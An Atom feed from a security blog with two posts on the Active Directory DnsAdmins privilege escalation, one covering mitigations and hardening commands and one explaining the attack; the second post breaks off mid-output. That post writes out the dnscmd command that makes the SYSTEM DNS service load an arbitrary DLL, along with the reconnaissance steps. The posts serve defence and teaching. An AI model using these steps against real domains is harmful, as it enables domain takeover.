<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>phackt.org</title>
 <link href="https://phackt.org/atom.xml" rel="self"/>
 <link href="https://phackt.org/"/>
 <updated>2026-11-13T20:03:21+00:00</updated>
 <id>https://phackt.org</id>
 <author>
   <name>phackt</name>
   <email>phackt@protonmail.com</email>
 </author>

 
 <entry>
   <title>How to mitigate DnsAdmins privilege escalation ?</title>
   <link href="https://phackt.org/dnsadmins-group-mitigation"/>
   <updated>2021-05-12T00:00:00+00:00</updated>
   <id>https://phackt.org/dnsadmins-group-mitigation</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;Glad to see you in this second part of this &lt;a href=&quot;https://phackt.org/dnsadmins-group-exploitation-write-permissions&quot;&gt;post&lt;/a&gt;. In our previous &lt;a href=&quot;https://phackt.org/dnsadmins-group-exploitation-write-permissions&quot;&gt;article&lt;/a&gt; we showed which rights were involved in the DnsAdmins privilege escalation. Now let’s talk about how to properly mitigate this.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;First of all, a few words about the &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/05c8a4b6-43aa-49f7-8c31-df3ac72230f3&quot;&gt;Security Descriptor Propagator&lt;/a&gt; (SDProp) ;&lt;/p&gt;

&lt;p class=&quot;note&quot;&gt;
Within Active Directory, a default set of highly privileged accounts and groups are considered &lt;b&gt;protected accounts and groups.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
  
With protected accounts and groups, the objects&apos; permissions are set and enforced via an automatic process that ensures the permissions on the objects remains consistent even if the objects are moved the directory. Even if somebody manually changes a protected object&apos;s permissions, &lt;b&gt;this process ensures that permissions are returned to their defaults quickly.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;

Additionally, permissions inheritance is disabled on protected groups and accounts, which means that even if the accounts and groups are moved to different locations in the directory, they do not inherit permissions from their new parent objects.&lt;br /&gt;&lt;br /&gt;
Inheritance is disabled on the AdminSDHolder object so that permission changes to the parent objects do not change the permissions of AdminSDHolder.&lt;br /&gt;&lt;br /&gt;  
&lt;/p&gt;

&lt;p&gt;This last sentence makes sense because the security descriptor used as a template to protect sensitive groups and users is stored in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nTSecurityDescriptor&lt;/code&gt; attribute from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdminSDHolder&lt;/code&gt; object in Active Directory. The AdminSDHolder object is of class
container and has a DN of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=AdminSDHolder,CN=System,&amp;lt;Domain NC DN&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even if this is not a post about detailing the SDProp mechanism, why is this important ? Because this security mechanism called &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/05c8a4b6-43aa-49f7-8c31-df3ac72230f3&quot;&gt;Security Descriptor Propagator&lt;/a&gt; (SDProp) aims at cutting any potential control paths to these &lt;strong&gt;Protected Users and Groups&lt;/strong&gt; as they are highly privileged.&lt;/p&gt;

&lt;p&gt;Unfortunately, DnsAdmins is not targeted by this security mechanism &lt;i class=&quot;fa fa-frown-o&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt;.&lt;/p&gt;

&lt;p&gt;What is the algorithm to define which object deserves to be protected by the SDProp ? (&lt;em&gt;taken from the ADTS - 3.1.1.6.1.2 Protected Objects&lt;/em&gt;) ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;d = domain;
o = protected security principal object

if  (
        (o!objectClass = group AND attribute o!groupType &amp;amp; GROUP_TYPE_SECURITY_ENABLED != 0) OR (o!objectClass = user)
    )
AND 
    (
        o!objectSid = d!objectSid + RID
    )
AND 
    (
        o is a member, directly or transitively, of any group in the set:
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ADMINS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ACCOUNT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_SYSTEM_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_PRINT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_BACKUP_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_REPLICATOR
            account domain well-known group with RID = DOMAIN_GROUP_RID_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_SCHEMA_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_ENTERPRISE_ADMINS
    )
OR  
    (
        is one of the following well-known security principals:
            of class user with RID = DOMAIN_USER_RID_ADMIN
            of class user with RID = DOMAIN_USER_RID_KRBTGT
            of class group with RID = DOMAIN_GROUP_RID_CONTROLLERS
            of class group with RID = DOMAIN_GROUP_RID_READONLY_CONTROLLERS
    )
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No mention to DnsAdmins here, even if we know that being member of DnsAdmins &lt;i class=&quot;fa fa-long-arrow-right&quot; aria-hidden=&quot;true&quot;&gt;&lt;/i&gt; compromised domain.&lt;/p&gt;

&lt;p&gt;At least we can manually set ACEs as restricted as the AdminSDHolder ones thanks to the cmdlet &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/code&gt; from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AdSyncConfig.psm1&lt;/code&gt; module. This is part of the recommendations shared by this &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dnsadmins&quot;&gt;Active Directory guide&lt;/a&gt;.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;
The AzureADConnect.msi package can be downloaded from &lt;a href=&quot;https://go.microsoft.com/fwlink/?LinkId=615771&quot;&gt;https://go.microsoft.com/fwlink/?LinkId=615771&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;
The AdSyncConfig.psm1 module may be extracted from the Azure AD Connect installer with msiexec:&lt;br /&gt;
&lt;code&gt;msiexec /a &quot;AzureADConnect.msi&quot; /qb TARGETDIR=c:\temp\&lt;/code&gt;  
&lt;/p&gt;

&lt;h1 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h1&gt;

&lt;h2 id=&quot;dnsadmins-cleared&quot;&gt;DnsAdmins cleared&lt;/h2&gt;
&lt;p&gt;Keep the DnsAdmins group empty, prefer a delegation group to manage your DNS service and to allow DNS zone updates. This is done thanks to the two following steps ;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;STEP 1: ALLOW ACCESS TO RPC USED BY DNS MANAGEMENT MMC SNAP-INS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the domain naming context, under the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=System&lt;/code&gt; container, set the following access rights on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MicrosoftDNS&lt;/code&gt; container for your trustee delegation group ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/step1.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;STEP 2: ALLOW DNS ZONE MODIFICATIONS&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DC=DomainDnsZones&lt;/code&gt; naming context, on every zone you wish to delegate management, enable inheritance and set the following access rights on the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CN=MicrosoftDNS&lt;/code&gt; container for your trustee delegation group ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/step2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;dnsadmins-security-descriptor&quot;&gt;DnsAdmins security descriptor&lt;/h2&gt;
&lt;p&gt;This is an overview of the DnsAdmins security descriptor ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/dnsadmins_sd_orig.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;owner&quot;&gt;Owner&lt;/h3&gt;
&lt;p&gt;The group should be changed, DnsAdmins should be owned by Domain Admins ; 
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/owner_dnsadmins.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;acl&quot;&gt;ACL&lt;/h3&gt;
&lt;p&gt;Set rights at least as strict as the AdminSDHolder ones ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Import-Module&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;C:\Program Files\Microsoft Azure Active Directory Connect\AdSyncConfig\AdSyncConfig.psm1&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ADConnectorAccountDN&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=DnsAdmins,CN=Users,DC=phackt,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$credential&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can check that the DnsAdmins security descriptor is blocking inheritable ACEs ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-ADSyncObjectsWithInheritanceDisabled&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-SearchBase&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=DnsAdmins,CN=Users,DC=phackt,DC=local&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;*&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DistinguishedName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;phackt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;              &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectClass&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectGUID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;54d747e8-f9c2-461b-b8f2-5cc0b99249cc&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ObjectSID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-1101&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sAMAccountName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DnsAdmins&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You should get a security descriptor which should look like this ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/dnsadmins_sd_after.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;note&quot;&gt;
The &lt;code&gt;DACL_PROTECTED&lt;/code&gt; parameter shows that the descriptor is blocking inheritable ACEs
&lt;/p&gt;

&lt;p&gt;As you see it is a way more restrictive than the original AdminSDHolder security descriptor shown below ;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/adminsdholder_sd.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Also you can set, on the DnsAdmins group, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Deny&lt;/code&gt; ACE forbidding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Everyone&lt;/code&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE_OWNER&lt;/code&gt; right (remember that being owner of an object provides the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WRITE_DAC&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;READ_CONTROL&lt;/code&gt; over the object).&lt;/p&gt;

&lt;p&gt;However if you do this remember that replaying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Set-ADSyncRestrictedPermissions&lt;/code&gt; cmdlet will reset the DACL and delete this ACE (on the other hand you could update the AdSyncConfig.psm1 module to match your needs).&lt;/p&gt;

&lt;h2 id=&quot;microsoftdns-security-descriptor&quot;&gt;MicrosoftDNS security descriptor&lt;/h2&gt;
&lt;p&gt;As seen previously, deleting the DnsAdmins &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RIGHT_DS_WRITE_PROPERTY_EXTENDED&lt;/code&gt; right for the MicrosoftDNS container will prevent an attacker from writing the registry key to set the path of an arbitrary DLL to be loaded by the DNS service.&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/withoutextwrite.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However i don’t know what is the impact if you benefits from the Microsoft support and if they need to exceptionally perform a maintenance operation, from DnsAdmins, which needs this right (nevertheless i never faced this situation).&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Firstly i thought it was possible to add a new security group to be targeted by the SDProp mechanism but no, it’s not (and as i was said, it’s not for tomorrow). At least we can manually set some restricted rights on it. Also i’m having a look at creating a routine which will frequently override the DnsAdmins &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ntSecurityDescriptor&lt;/code&gt; based on the AdminSDHolder one to simulate the SDProp mechanism for custom groups.&lt;/p&gt;

&lt;p&gt;DnsAdmins is one of the so many ways an attacker can gain control of your Active Directory. If you are looking for a complete Active Directory security assessment checklist : &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html&quot;&gt;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;[UPDATE 2021/12/06]: According to this &lt;a href=&quot;https://blog.0patch.com/2021/11/micropatch-for-remote-code-execution-by.html&quot;&gt;article&lt;/a&gt;, it seems that the issue has been finally fixed by Microsoft.&lt;/p&gt;

&lt;p&gt;Thanks folks for reading,&lt;br /&gt;
Cheers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Why DnsAdmins privilege escalation is still working ?</title>
   <link href="https://phackt.org/dnsadmins-group-exploitation-write-permissions"/>
   <updated>2021-04-22T00:00:00+00:00</updated>
   <id>https://phackt.org/dnsadmins-group-exploitation-write-permissions</id>
   <content type="html">&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;In this article, first part of a serie, i’m talking about &lt;strong&gt;DnsAdmins&lt;/strong&gt; and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).&lt;/p&gt;

&lt;p&gt;We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;h1 id=&quot;what-is-dnsadmins-&quot;&gt;What is DnsAdmins ?&lt;/h1&gt;

&lt;p&gt;Long story short, as mentioned in the &lt;a href=&quot;https://www.cert.ssi.gouv.fr/uploads/guide-ad.html#dnsadmins&quot;&gt;Active Directory guide&lt;/a&gt; from the french cybersecurity national agency (ANSSI) ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service. 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the &lt;strong&gt;dns.exe&lt;/strong&gt; service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.&lt;/p&gt;

&lt;p&gt;We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from &lt;a href=&quot;https://adsecurity.org/?p=4064&quot;&gt;https://adsecurity.org/?p=4064&lt;/a&gt; ;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;member of DnsAdmins or have write access to a DNS server object&lt;/li&gt;
  &lt;li&gt;DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.&lt;/li&gt;
  &lt;li&gt;According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).&lt;/li&gt;
  &lt;li&gt;dnscmd.exe already implements this option: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnscmd.exe /config /serverlevelplugindll \\path\to\dll&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”&lt;/li&gt;
  &lt;li&gt;The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As said ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s check ;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\Users\attacker\Documents\impacket&amp;gt;rpcdump.py DC01
...
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management 
Provider: dns.exe 
UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49679]
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;microsoftdns-container&quot;&gt;MicrosoftDNS container&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;CN=System&lt;/strong&gt; is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the &lt;strong&gt;CN=MicrosoftDNS&lt;/strong&gt; container.&lt;/p&gt;

&lt;p&gt;In general a service with specific &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights&quot;&gt;access rights&lt;/a&gt; stores its security settings in the registry key &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HKLM\System\CurrentControlSet\Services\&amp;lt;service_name&amp;gt;\security&lt;/code&gt;.&lt;br /&gt;
In our case, the dns service will use as a security descriptor the one applied to the LDAP &lt;strong&gt;MicrosoftDNS&lt;/strong&gt; object.&lt;/p&gt;

&lt;p&gt;Thanks to &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771022(v=ws.11)&quot;&gt;ldp.exe&lt;/a&gt;, let’s have a look at the MicrosoftDNS security descriptor ;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/microsoftdns1.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/dnsadmins/microsoftdns2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You also can read the &lt;em&gt;ntSecurityDescriptor&lt;/em&gt; attribute thanks to this command ;&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN=MicrosoftDNS,CN=System,&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-ADRootDSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defaultNamingContext&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ntSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ExpandProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ntSecurityDescriptor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;access&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Where-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;$_&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;IdentityReference&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-Like&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;*DnsAdmins*&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ActiveDirectoryRights&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CreateChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DeleteChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ListChildren&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ReadProperty&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DeleteTree&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ExtendedRight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span 